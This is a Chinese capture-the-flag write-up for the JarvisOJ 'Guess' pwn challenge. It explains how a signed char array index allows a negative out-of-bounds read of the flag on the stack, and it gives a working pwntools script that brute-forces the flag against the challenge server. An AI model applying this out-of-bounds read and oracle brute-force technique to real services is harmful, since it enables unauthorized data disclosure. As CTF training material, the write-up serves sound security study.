zoukankan      html  css  js  c++  java
  • JarvisOJ | Guess (带技巧的exp爆破)

    这道题对我来说还是挺难的,做了很久很久吧,差点砸电脑,还好最后AC了,现记录一下过程。

    附件下载

    反汇编分析

    查一下保护机制,只开了 NX

    main() 函数里是 socket 网络编程的内容,看起来不太需要分析,于是进入其调用的 handle() 函数

    逻辑似乎和逆向题差不多,每次输入一个字符串后用函数 is_flag_correct() 判断是否正确

    进入 is_flag_correct() 函数

    首先看到我们输入的字符串是 flag_hex ,这个命名已经提示我们输入的是 flag 字符的十六进制串(然鹅我开始并没有意识到)

    同时限制了输入串的长度必须为 100 ,即 flag 串长度的两倍

    for ( i_0 = 0; i_0 <= 49; ++i_0 )
       diff |= flag[i_0] ^ given_flag[i_0];
    return diff == 0;
    

    最后的这段代码是判断 flag 和 given_flag(程序计算出的)是否相等,并返回结果

    而 flag 串的明文在栈内存中会出现,但我们用 IDA 看到的是假的,需要想办法在线获取

    发现这题无法用之前常用的缓存区溢出漏洞来实现 pwn(保护白关了)

    关键代码

    考虑有没有泄露内存的方法,于是再分析一下代码

    for ( i = 0; i <= 49; ++i ) {
          value1 = bin_by_hex[flag_hex[2 * i]];
          value2 = bin_by_hex[flag_hex[2 * i + 1]];
          given_flag[i] = value2 | 16 * value1;
    }
    

    这几句看起来比较关键,一个个数组来看

    flag_hex[] 是我们输入的,bin_by_hex[] 是数据段内存 unk_401100 拷贝过来的

    而 given_flag[] 的计算过程其实就是把 value1 当作十六进制字符首位,value2 为末位,计算一个 ASCALL 值,即:

    given_flag[i] = (char)(value1 * 16 + value2)
    

    这要求了 (char)value1/2 的真实值范围是 0~15,其依赖于 bin_by_hex[] 数组的寻址

    而 bin_by_hex[] 里面的数据比较有意思

    发现除了偏移量为 48-57,65-90,97-122 的字节的真实值为 0-15 外,其他都是 0xFF(-1)

    若把以上三个范围的偏移量作为 ASCALL 值,则分别代表了数字、大写字母、小写字母

    所以源程序的逻辑就理清了,如下:

    ((1)) 输入 flag 的十六进制字符串

    ((2)) 每次取两位计算一位字符(利用 bin_by_hex 数组寻址)

    ((3)) 与真实 flag 校验

    那我们应该如何利用这一过程获取栈空间中的 flag 呢?其实还要通过 bin_by_hex 寻址的过程

    漏洞利用

    显然 flag_hex[] 是受我们控制的,如果我们令它为负数,就可以访问到 bin_by_hex[0] 往上的栈空间

    再来看一手栈布局

    bin_by_hex[] 往上就是 flag[] 了,这样只要让 flag_hex[2 * i + 1] 取一个负值,就可以让 value2[i] 成为 flag 串的一个字节

    这种操作有点奇怪,因为 flag_hex 毕竟是个 char 数组,但试验后发现用 char 作下标时会转化成带符号的 int8 类型,0xFF -> -1

    至于 value1 在写 payload 时让它为 0 就好了,最后计算出的 give_flag[i] 就是 flag[i] 了

    如此操作 50 次,就通过了校验,此时我们一个得到了一个通用 payload,但 flag 明文依然不知道,于是考虑进行逐位爆破

    爆破操作

    爆破的大致思路是在通用 payload(在下面代码中为 leak)的基础上进行两位两位的修改,

    枚举可能出现的字符 [0-9a-z],把原先的用于泄露的双字节改成真实字符的 ASCALL 值的十六进制表示的字符

    比如枚举到 'a' 时,'a' 的 ASCALL 值为 97,十六进制为 0x61,就把 payload[i * 2] 改为 '6',payload[i * 2 + 1] 改为 '1'

    如果正好找到了当前双字节的原本值,就会在 send 之后接受到成功信息:Yaaaay,把当前双字节加入答案串中

    对于每个双字节都如此操作,就可以逐位爆破出全部的答案串,注意下格式是 PCTF{}

    代码如下

    from pwn import *
    io = remote('pwn.jarvisoj.com', '9878')
    #io = process('./source')
    
    #context(log_level = 'debug')
    List = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
    leak = []
    for i in range(50):
    	leak.append('0')
    	leak.append(chr(128 + 0x40 + i))
    
    flag = 'PCTF{'
    for i in range(5, 50):
    	for j in List:
    		io.recvuntil('>')
    		#print 'i = ', i, 'j =', j
    		#print ord(j)
    		payload = leak
    		# '0' -> '0x30'
    	
    		payload[i*2] = hex(ord(j))[2]
    		payload[i*2+1] = hex(ord(j))[3]
    		#print bytes(''.join(payload))
    		#print ''.join(payload)
    		io.sendline(''.join(payload))
    		re = io.recvline()
    		#print re
    		if re.count('Yaaaay'):
    			flag += j
    			break
    flag += '}'
    print flag
    io.interactive()
    
    
  • 相关阅读:
    C#操作REDIS例子
    A C# Framework for Interprocess Synchronization and Communication
    UTF8 GBK UTF8 GB2312 之间的区别和关系
    开源项目选型问题
    Mysql命令大全——入门经典
    RAM, SDRAM ,ROM, NAND FLASH, NOR FLASH 详解(引用)
    zabbix邮件报警通过脚本来发送邮件
    centos启动提示unexpected inconsistency RUN fsck MANUALLY
    rm 或者ls 报Argument list too long
    初遇Citymaker (六)
  • 原文地址:https://www.cnblogs.com/zhwer/p/12884433.html
Copyright © 2011-2022 走看看